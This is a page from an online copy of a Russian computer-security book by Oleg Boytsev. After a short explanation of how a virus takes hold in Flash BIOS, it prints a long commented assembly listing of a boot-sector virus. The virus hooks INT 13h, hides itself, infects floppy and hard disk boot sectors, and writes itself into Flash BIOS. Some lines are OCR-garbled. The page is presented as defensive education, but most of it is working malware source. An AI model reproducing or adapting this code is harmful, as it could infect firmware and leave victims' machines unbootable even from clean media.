Π§ΠΈΡ‚Π°ΠΉΡ‚Π΅ ΠΊΠ½ΠΈΠ³ΠΈ ΠΎΠ½Π»Π°ΠΉΠ½ Π½Π° Bookidrom.ru! БСсплатныС ΠΊΠ½ΠΈΠ³ΠΈ Π² ΠΎΠ΄Π½ΠΎΠΌ ΠΊΠ»ΠΈΠΊΠ΅

Π§ΠΈΡ‚Π°Ρ‚ΡŒ ΠΎΠ½Π»Π°ΠΉΠ½ Β«Π—Π°Ρ‰ΠΈΡ‚ΠΈ свой ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ Π½Π° 100% ΠΎΡ‚ вирусов ΠΈ Ρ…Π°ΠΊΠ΅Ρ€ΠΎΠ²Β». Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Π° 36

Автор ОлСг Π‘ΠΎΠΉΡ†Π΅Π²

ΠŸΠΎΡ‡Π΅ΠΌΡƒ всС Ρ‚Π°ΠΊ слоТно ΠΈ ΠΊΠ°ΠΊ с этим связан антивирусный ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€?

ВсС Π΄Π΅Π»ΠΎ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ BIOS (AMI, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€) ΠΎΠ±Π»Π°Π΄Π°Π΅Ρ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ особСнностями Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π² микросхСмах Flash-памяти, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Π°Π·ΠΈΡ€ΡƒΡŽΡ‚ΡΡ Π½Π° использовании Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ EOh прСрывания INT 16h. ВнСсСнный Π² Π΄Π°Π½Π½ΡƒΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ памяти вирус впослСдствии Π·Π°ΠΏΡ€Π΅Ρ‰Π°Π΅Ρ‚ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡƒΠΊΠ°Π·Π°Π½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ. Как слСдствиС, это Π·Π°ΠΏΡ€Π΅Ρ‚ΠΈΡ‚ антивирусным ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ°ΠΌ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Сю Π² процСссС удалСния вируса ΠΈΠ· BIOS ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π°. Как ΠΆΠ΅ это всС Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚?

Алгоритм Ρ€Π°Π±ΠΎΡ‚Ρ‹ вируса, "ΠΆΠΈΠ²ΡƒΡ‰Π΅Π³ΠΎ" Π² BIOS, выглядит ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ.

1. Вирус провСряСт систСму Π½Π° Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ Flash BIOS.

2. Π”Π°Π»Π΅Π΅ ΠΈΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π½Π° Π·Π°Ρ€Π°ΠΆΠ΅Π½Π½ΠΎΡΡ‚ΡŒ Flash BIOS (Ссли BIOS чист – Ρ‚ΠΎ "ОК", ΠΈΠ½Π°Ρ‡Π΅ – ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²ΠΈΡ‚ΡŒ Π²Ρ‹Ρ…ΠΎΠ΄).

3. БчитываСтся Π²Π΅ΠΊΡ‚ΠΎΡ€ INT 19h ΠΈΠ· Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ (ΠΏΡ€Π΅Ρ€Ρ‹Π²Π°Π½ΠΈΠ΅ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ).

4. Π§ΠΈΡ‚Π°Π΅Ρ‚ ΠΏΠ΅Ρ€Π²Ρ‹Π΅ ΠΏΡΡ‚ΡŒ Π±Π°ΠΉΡ‚ ΠΎΡ‚ Ρ‚ΠΎΡ‡ΠΊΠΈ Π²Ρ…ΠΎΠ΄Π° INT 19h.

5. ΠŸΡ€ΠΎΠ²Π΅Ρ€ΡΠ΅Ρ‚ свободноС мСсто Π² микросхСмС BIOS (поиск области Π½ΡƒΠ»Π΅ΠΉ).

6. УстанавливаСт ΠΏΠ°ΠΌΡΡ‚ΡŒ Flash BIOS Π² Ρ€Π΅ΠΆΠΈΠΌ записи (Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠ΅ Π΅Π΅ состояниС Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ чтСния).

7. Π—Π°ΠΏΠΈΡΡŒ вируса Π² Π½Π°ΠΉΠ΄Π΅Π½Π½ΡƒΡŽ ΡΠ²ΠΎΠ±ΠΎΠ΄Π½ΡƒΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ.

8. Π—Π°ΠΏΠΈΡΡŒ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π° Π½Π° вирус Π² Ρ‚ΠΎΡ‡ΠΊΡƒ Π²Ρ…ΠΎΠ΄Π° INT 19h.

9. Π’ΠΎΠ·Π²Ρ€Π°Ρ‚ Flash BIOS Π² Ρ€Π΅ΠΆΠΈΠΌ "Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‡Ρ‚Π΅Π½ΠΈΠ΅".

Π’ΠΎΡ‚, собствСнно, ΠΈ сам ΠΊΠΎΠ΄ с коммСнтариями (листинг 5.7):

Листинг 5.7. Код вируса, ΠΏΠΎΡ€Π°ΠΆΠ°ΡŽΡ‰Π΅Π³ΠΎ BIOS ;

Вирусный ΠΊΠΎΠ΄, Π·Π°Ρ€Π°ΠΆΠ°ΡŽΡ‰ΠΈΠΉ Flash BIOS.

; НаиболСС опасСн Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ Π·Π°Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ нСльзя Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒΡΡ ;

Π΄Π°ΠΆΠ΅ с "чистой" дискСты.

org 0

; ΠŸΡ€ΠΈ Π²Ρ…ΠΎΠ΄Π΅ Π² boot-сСктор 01=Π·Π°Π³Ρ€ΡƒΠ·ΠΎΡ‡Π½Ρ‹ΠΉ диск

mov si, 7C00h ;

УстанавливаСм 0000h Π² рСгистрах DS ΠΈ ES

Ρ…ΠΎΠ³ Π°Ρ…, Π°Ρ…

mov es, ax

mov ds, ax

; УстанавливаСм Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ стСка 0000h:7C00h

cli

mov ss, ax

mov sp, si

sti

; УмСньшаСм Π½Π° 1ΠšΠ±Π°ΠΉΡ‚ ΠΏΠ°ΠΌΡΡ‚ΡŒ (0040h:0013h)

dec word ptr [0413h] ;

ΠŸΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ€ памяти (ΠΏΡ€ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‚Π΅ Π² АΠ₯)

int 12h

mov cl, 6

shl ax, cl

; УстанавливаСм Π½ΠΎΠ²Ρ‹ΠΉ сСгмСнт вируса

mov es, ax

; ΠŸΠ΅Ρ€Π΅Π½ΠΎΡΠΈΠΌ вирусный сСктор Π² Π²Π΅Ρ€ΡˆΠΈΠ½Ρƒ памяти

xor di, di

mov cx, 200h

cld

rep movsb

; БохраняСм Π²Π΅ΠΊΡ‚ΠΎΡ€ прСрывания INT 13h

mov ax, word ptr [13h*4]

mov word ptr es: [off set i13], ax

mov ax, word ptr [13h*4+2]

mov word ptr es: [offset i13+2], ax

; УстанавливаСм Π½ΠΎΠ²Ρ‹ΠΉ Π²Π΅ΠΊΡ‚ΠΎΡ€ прСрывания INT 13h

mov word ptr [13h*4], offset Handler

mov word ptr [13h*4+2], es

; ΠŸΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΠΌ Π² Ρ‚ΠΎΡ‡ΠΊΡƒ ES:Restart (Π² ΠΊΠΎΠΏΠΈΠΈ вируса,

; находящСйся Π² Π²Π΅Ρ€ΡˆΠΈΠ½Π΅ памяти)

already_resident:

push es

mov ax, offset Restart

push ax

retf

; НиТС ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΡƒΠΆΠ΅ Π² Π²Π΅Ρ€ΡˆΠΈΠ½Π΅ памяти

Restart:

; Π—Π°Π³Ρ€ΡƒΠΆΠ°Π΅ΠΌ ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ boot-сСктор ΠΈΠ· ΠΊΠΎΠ½Ρ†Π°

; root directory ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅ΠΌ Π΅ΠΌΡƒ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅

xor Π°Ρ…, Π°Ρ…

call int13h

; Π“ΠΎΡ‚ΠΎΠ²ΠΈΠΌ рСгистры для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ boot-сСктора

Ρ…ΠΎΠ³ Π°Ρ…, Π°Ρ…

mov es, ax

; Π‘Π΅Π³ΠΌΠ΅Π½Ρ‚ для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ

mov bx, 7C00h

; Π‘ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ

mov cx, 0002h

; Π”ΠΎΡ€ΠΎΠΆΠΊΠ° 0, сСктор 2

xor dh, dh

; Π“ΠΎΠ»ΠΎΠ²ΠΊΠ° 0

mov ax, 0201h ;

Ѐункция 2, количСство сСкторов 1

; ΠŸΡ€ΠΎΠ²Π΅Ρ€ΡΠ΅ΠΌ Π·Π°Π³Ρ€ΡƒΠ·ΠΎΡ‡Π½Ρ‹ΠΉ диск. 80h ΠΈ Π²Ρ‹ΡˆΠ΅ – это адрСс ТСсткого диска,

; ΠΈΠ½Π°Ρ‡Π΅ – дискСта. Копию ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ boot-сСктора Ρ…Ρ€Π°Π½ΠΈΠΌ :

; Π½Π° ТСстком дискС – Π΄ΠΎΡ€ΠΎΠΆΠΊΠ° 0, Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° 0, сСктор 2;

; Π½Π° дискСтС – Π΄ΠΎΡ€ΠΎΠΆΠΊΠ° 0, Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° 1, сСктор 14

cmp dl, 80h

jae MBR_Loader

; Грузимся с дискСты: ΠΈΠ·ΠΌΠ΅Π½ΠΈΠΌ сСктор ΠΈ Π³ΠΎΠ»ΠΎΠ²ΠΊΡƒ

mov с1, 14 ; Π‘Π΅ΠΊΡ‚ΠΎΡ€ 14

mov dh, 1 ; Π“ΠΎΠ»ΠΎΠ²ΠΊΠ° 1

; 3Π°Π³Ρ€ΡƒΠ·ΠΈΠΌ ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ boot-сСктор ΠΏΠΎ адрСсу 0000h:7C00h

MBR_Loader:

call int13h

; БохраняСм Π² стСкС Π½ΠΎΠΌΠ΅Ρ€ диска, с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ грузимся

push dx

; ΠŸΡ€ΠΎΠ²Π΅Ρ€ΡΠ΅ΠΌ, Π·Π°Ρ€Π°ΠΆΠ΅Π½ Π»ΠΈ Flash BIOS

cmp byte ptr cs:flash_done, 1

je Flash_resident

; Π˜Π½Ρ„ΠΈΡ†ΠΈΡ€ΡƒΠ΅ΠΌ Flash BIOS

call flash_BIOS

; ВосстанавливаСм ΠΈΠ· стСка DX (Π½ΠΎΠΌΠ΅Ρ€ Π·Π°Π³Ρ€ΡƒΠ·ΠΎΡ‡Π½ΠΎΠ³ΠΎ диска)

Flash_resident:

pop dx

; 3апускаСм ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ boot-сСктор (JMP FAR 0000h:7C00h)

db 0EAh

dw 7C00h

dw 0

;Π‘ΠΊΡ€Ρ‹Π²Π°Π΅ΠΌ присутствиС вируса ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ чтСния ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ boot-сСктора

Stealth:

; ΠžΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Π΅ΠΌ значСния сСктора, Π³Π΄Π΅ хранится копия ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ

; boot-сСктора

mov cx, 02h

mov ax, 0201h

; ΠŸΡ€ΠΎΠ²Π΅Ρ€ΡΠ΅ΠΌ, ΠΎΡ‚ΠΊΡƒΠ΄Π° считан boot-сСктор (дискСта ΠΈΠ»ΠΈ ТСсткий диск),

; Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΊΠΎΠΏΠΈΠΈ хранятся Π² Ρ€Π°Π·Π½Ρ‹Ρ… мСстах

cmp dl, 80h

jae hd_stealth

mov cl, 14

mov dh, 1 hd_stealth:

; Π§ΠΈΡ‚Π°Π΅ΠΌ копию ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ boot-сСктора

call int13h

; Π’Ρ‹Ρ…ΠΎΠ΄ΠΈΠΌ ΠΈΠ· ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° прСрывания

jmp pop_exit

; ΠŸΡ€ΠΎΠ²Π΅Ρ€ΡΠ΅ΠΌ Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ Ρ€Π΅Π·ΠΈΠ΄Π΅Π½Ρ‚Π½ΠΎΠ³ΠΎ вируса

restest:

xchgah, al

iret

; ΠžΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ прСрывания INT 13h

Handler:

cmp ax, 0ABBAh

je restest

; ΠŸΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅ΠΌ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ 02h (Ρ‡Ρ‚Π΅Π½ΠΈΠ΅ сСктора): провСряСм

; Π½ΠΎΠΌΠ΅Ρ€ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. Если Π½Π΅ 2, запускаСм ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ

cmp ah, 2

jne jend

; ΠŸΡ€ΠΎΠ²Π΅Ρ€ΡΠ΅ΠΌ Π½ΠΎΠΌΠ΅Ρ€Π° Π΄ΠΎΡ€ΠΎΠΆΠΊΠΈ ΠΈ сСктора, ΠΈΠ½Ρ‚Π΅Ρ€Π΅ΡΡƒΡΡΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅ΠΌΠΈ

; сСкторами, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ вирус :

; Π΄ΠΎΡ€ΠΎΠΆΠΊΠ° 0, Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° 0, сСктор 1

cmp cx, 1

jne jend

; ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ Π½ΠΎΠΌΠ΅Ρ€ Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ. Если Π½Π΅ 0, Ρ‚ΠΎ запустим

; ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ

cmp dh, 0

jne jend

tryinfect:

; Π‘Ρ‡ΠΈΡ‚Π°Π΅ΠΌ сСктор Π² Π±ΡƒΡ„Π΅Ρ€ (для дальнСйшСй ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ).

; Для этого Π²Ρ‹Π·ΠΎΠ²Π΅ΠΌ ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ INT 13h

call int13h

jc jend

; Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΠΌ рСгистры ΠΈ Ρ„Π»Π°Π³ΠΈ (ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΈΡ…)

pushf

push ax

push bx

push cx

push dx

push si

push di

push es

push ds

; ΠŸΡ€ΠΎΠ²Π΅Ρ€ΡΠ΅ΠΌ, Π·Π°Ρ€Π°ΠΆΠ΅Π½ Π»ΠΈ Π΄Π°Π½Π½Ρ‹ΠΉ диск вирусом: Ρ‡ΠΈΡ‚Π°Π΅ΠΌ сигнатуру. ;

Если диск Π·Π°Ρ€Π°ΠΆΠ΅Π½, скрываСм присутствиС вируса

cmp word ptr es:[bx+offset marker], "LV"

je stealth

; Если диск Π½Π΅ Π·Π°Ρ€Π°ΠΆΠ΅Π½, Ρ‚ΠΎ Π·Π°Ρ€Π°ΠΆΠ°Π΅ΠΌ

cmp dl, 80h

jb infect_floppy ; Установим Π½ΠΎΠΌΠ΅Ρ€Π° Π΄ΠΎΡ€ΠΎΠΆΠΊΠΈ, Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ ΠΈ сСктора для ТСсткого

; диска для сохранСния ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ boot-сСктора

mov cx, 2

xor dh, dh

jmp write_virus

infect_Floppy:

; Установим Π½ΠΎΠΌΠ΅Ρ€Π° Π΄ΠΎΡ€ΠΎΠΆΠΊΠΈ, Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ ΠΈ сСктора для дискСты

; для сохранСния ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ boot-сСктора

mov сх, 14

mov dh, 1

Write_Virus:

; ЗаписываСм ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ boot-сСктор

mov ax, 0301h

call int-lSh

jc pop_exit

; Установим сСгмСнтный рСгистр ES Π½Π° сСгмСнт с вирусом

push cs

pop es

; Ббросим Ρ„Π»Π°Π³ зараТСнности Flash BIOS

mov byte ptr cs:flash_done, 0

; 3апишСм Ρ‚Π΅Π»ΠΎ вируса Π² boot-сСктор

xor bx, bx

mov ax, 0301h

mov cx, 0001h

xor dh, dh

call int13h

; Восстановим рСгистры ΠΈ Ρ„Π»Π°Π³ΠΈ (ΠΊΠ°ΠΊ Ρ€Π°Π· Ρ‚Π΅ ΠΈΡ… значСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅

; ΡΠ²ΠΈΠ΄Π΅Ρ‚Π΅Π»ΡŒΡΡ‚Π²ΡƒΡŽΡ‚ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ boot-сСктор Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‡Ρ‚ΠΎ считали)

Pop_Exit:

pop ds

pop es

pop di

pop si

pop dx

pop cx

pop bx

pop ax

popf

; Π’Ρ‹Ρ…ΠΎΠ΄ΠΈΠΌ ΠΈΠ· ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° Π² Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰ΡƒΡŽ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ

retf2

; 3апуск ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°

jend:

DD 0EAh ; Код ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ JMP FAR ;

ΠžΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ Π²Π΅ΠΊΡ‚ΠΎΡ€ INT13h

i13 DD 0

; Π’Ρ‹Π·ΠΎΠ² прСрывания INT 13h

int13h proc near

pushf

call dword ptr cs:[i13]

ret

int13h endp

; ΠŸΠ΅Ρ€Π²Ρ‹Π΅ Π΄Π²Π° Π±Π°ΠΉΡ‚Π° слова ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ сигнатура

Marker db "VLAD"

; Π­Ρ‚Π° ΠΏΠΎΠ΄ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° Π·Π°Ρ€Π°ΠΆΠ°Π΅Ρ‚ Flash BIOS

Flash_BIOS Proc Near

; ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ Flash BIOS

mov ax, 0e000h

int 16h

jc no_flash_bios

cmp al, 0FAh

jne no_flash_bios

; Π‘Π½Π°Ρ‡Π°Π»Π° Π½Π°ΠΉΠ΄Π΅ΠΌ Ρ…ΠΎΡ€ΠΎΡˆΠ΅Π΅ мСсто для хранСния вируса.

; ΠŸΡ€ΠΎΡΠΊΠ°Π½ΠΈΡ€ΡƒΠ΅ΠΌ ΠΏΠ°ΠΌΡΡ‚ΡŒ F000h-FFFFh, Π³Π΄Π΅ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ находится BIOS,

; Π½Π° Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ области 1ΠšΠ±Π°ΠΉΡ‚ Π½ΡƒΠ»Π΅ΠΉ. Π₯Π²Π°Ρ‚ΠΈΡ‚ Π΄Π°ΠΆΠ΅ 512 Π±Π°ΠΉΡ‚ памяти,

; Π½ΠΎ Π²Ρ‹Π΄Π΅Π»ΠΈΡ‚ΡŒ Π½ΡƒΠΆΠ½ΠΎ с запасом

infect_Flash:

; ΠžΡΡ‚Π°Π½ΠΎΠ²ΠΈΠΌ Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΉ сСгмСнт для поиска

mov ax, 0F000h

mov ds, ax

; ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ сСгмСнт

New_segment:

; ΠžΡΡ‚Π°Π½ΠΎΠ²ΠΈΠΌ стартовоС смСщСниС

xor si, si

; ΠžΡΡ‚Π°Π½ΠΎΠ²ΠΈΠΌ счСтчик Π½Π°ΠΉΠ΄Π΅Π½Π½Ρ‹Ρ… Π±Π°ΠΉΡ‚

; (Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Π° свободного мСста для вируса)

xor dx, dx

ok_new_segment:

; ΠŸΠ΅Ρ€Π΅ΠΉΠ΄Π΅ΠΌ ΠΊ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌΡƒ сСгмСнту

inc ax

mov ds, ax

; ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ, Π΅ΡΡ‚ΡŒ Π»ΠΈ Π΅Ρ‰Π΅ мСсто для вируса

cmp ax, 0FFF0h

je no_flash_BIOS

; ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ, свободно Π»ΠΈ мСсто (для скорости провСряСм словами)

test16:

cmp word ptr [si], 0

jne new_segment

; Π£Π²Π΅Π»ΠΈΡ‡ΠΈΠΌ счСтчик Ρ€Π°Π·ΠΌΠ΅Ρ€Π° Π½Π°ΠΉΠ΄Π΅Π½Π½ΠΎΠ³ΠΎ свободного мСста

inc dx

; ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ, достаточно Π»ΠΈ Π½Π°ΠΉΠ΄Π΅Π½Π½ΠΎΠ³ΠΎ мСста. Π‘Ρ€Π°Π²Π½ΠΈΠ²Π°Π΅ΠΌ с 1 ΠšΠ±Π°ΠΉΡ‚, Π½ΠΎ

; Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΏΠ°ΠΌΡΡ‚ΡŒ сканируСм словами, сравниваСм с 512 (1 ΠšΠ±Π°ΠΉΡ‚=512 слов)

cmp dx, 512

je found_storage

; Π£Π²Π΅Π»ΠΈΡ‡ΠΈΠΌ смСщСниС провСряСмого Π±Π°ΠΉΡ‚Π°

inc si

inc si

; Π‘Ρ€Π°Π²Π½ΠΈΠΌ с 16. ΠŸΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΠΌ ΠΊ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌΡƒ сСгмСнту

; Π² Π½Π°Ρ‡Π°Π»Π΅ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Π°

cmp si, 16

je ok_new_segment

jmp test16

; B эту Ρ‚ΠΎΡ‡ΠΊΡƒ ΠΏΠΎΠΏΠ°Π΄Π°Π΅ΠΌ, Ссли мСсто Π½Π°ΠΉΠ΄Π΅Π½ΠΎ

Found_storage:

; ΠŸΠ΅Ρ€Π΅ΠΉΠ΄Π΅ΠΌ ΠΊ Π½Π°Ρ‡Π°Π»Ρƒ Π·ΠΎΠ½Ρ‹

sub ax, 40h

mov ds, ax

; ΠŸΠΎΠ»ΡƒΡ‡ΠΈΠΌ трСбования ΠΊ ΡΠΎΡ…Ρ€Π°Π½Π΅Π½ΠΈΡŽ состояния Ρ‡ΠΈΠΏΠ°

mov ax, 0E001h

int 16h

; ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ, сколько памяти Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ для сохранСния состояния

; Ρ‡ΠΈΠΏΠ°. Если слишком ΠΌΠ½ΠΎΠ³ΠΎ, Π½Π΅ Π±ΡƒΠ΄Π΅ΠΌ ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒ состояниС

cmp bx, 512

jbe save_chipset

; Установим Ρ„Π»Π°Π³, ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ, Ρ‡Ρ‚ΠΎ состояниС Π½Π΅ сохраняли

mov byte ptr cs:chipset, 1

; ΠŸΠ΅Ρ€Π΅ΠΉΠ΄Π΅ΠΌ ΠΊ записи

jmp write_enable

; Бюда ΠΏΠΎΠΏΠ°Π΄Π°Π΅ΠΌ, Ссли Flash BIOS Π½Π΅ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½:

; Π·Π°ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ Π½Π΅ΠΊΡƒΠ΄Π° – Π²Ρ‹Ρ…ΠΎΠ΄ΠΈΠΌ

No_Flash_BIOS:

ret

; Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΠΌ состояниС Ρ‡ΠΈΠΏΠ°

save_chipset:

; Установим Ρ„Π»Π°Π³, ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ, Ρ‡Ρ‚ΠΎ состояниС сохранили

mov byte ptr cs:chipset, 0

; Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΠΌ состояниС

mov al, 2

push cs

pop es

mov di, offset buffer

int 16h

; ЗаписываСмся Π²ΠΎ Flash BIOS

write_enable:

; ΠŸΠΎΠ²Ρ‹ΡˆΠ°Π΅ΠΌ напряТСниС

mov al, 5

int 16h

; Π Π°Π·Ρ€Π΅ΡˆΠ°Π΅ΠΌ запись Π²ΠΎ Flash BIOS

mov al, 7

int 16h

; ΠšΠΎΠΏΠΈΡ€ΡƒΠ΅ΠΌ 512 Π±Π°ΠΉΡ‚ вируса Π²ΠΎ Flash BIOS

push ds

pop es

xor di, di

mov cx, 512

push cs

pop ds

xor si, si

cld

rep movsb

mov bx, es ; Π’Π₯=сСгмСнт вируса

xor Π°Ρ…, Π°Ρ…

mov ds, ax ; DS=Ta6nHua Π²Π΅ΠΊΡ‚ΠΎΡ€ΠΎΠ²

mov di, word ptr [19h*4] ; Π‘ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ INT 19h

mov es, word ptr [19h*4+2] ; Π‘Π΅Π³ΠΌΠ΅Π½Ρ‚ INT 19h

; 3апишСм JMP FAR ΠΏΠΎ адрСсу Ρ‚ΠΎΡ‡ΠΊΠΈ Π²Ρ…ΠΎΠ΄Π° Π² INT 19h

mov al, 0EAh

stosb

mov ax, offset int19handler

stosw

mov ax, bx

stosw

; Понизим напряТСниС

mov ax, 0E004h

int 16h

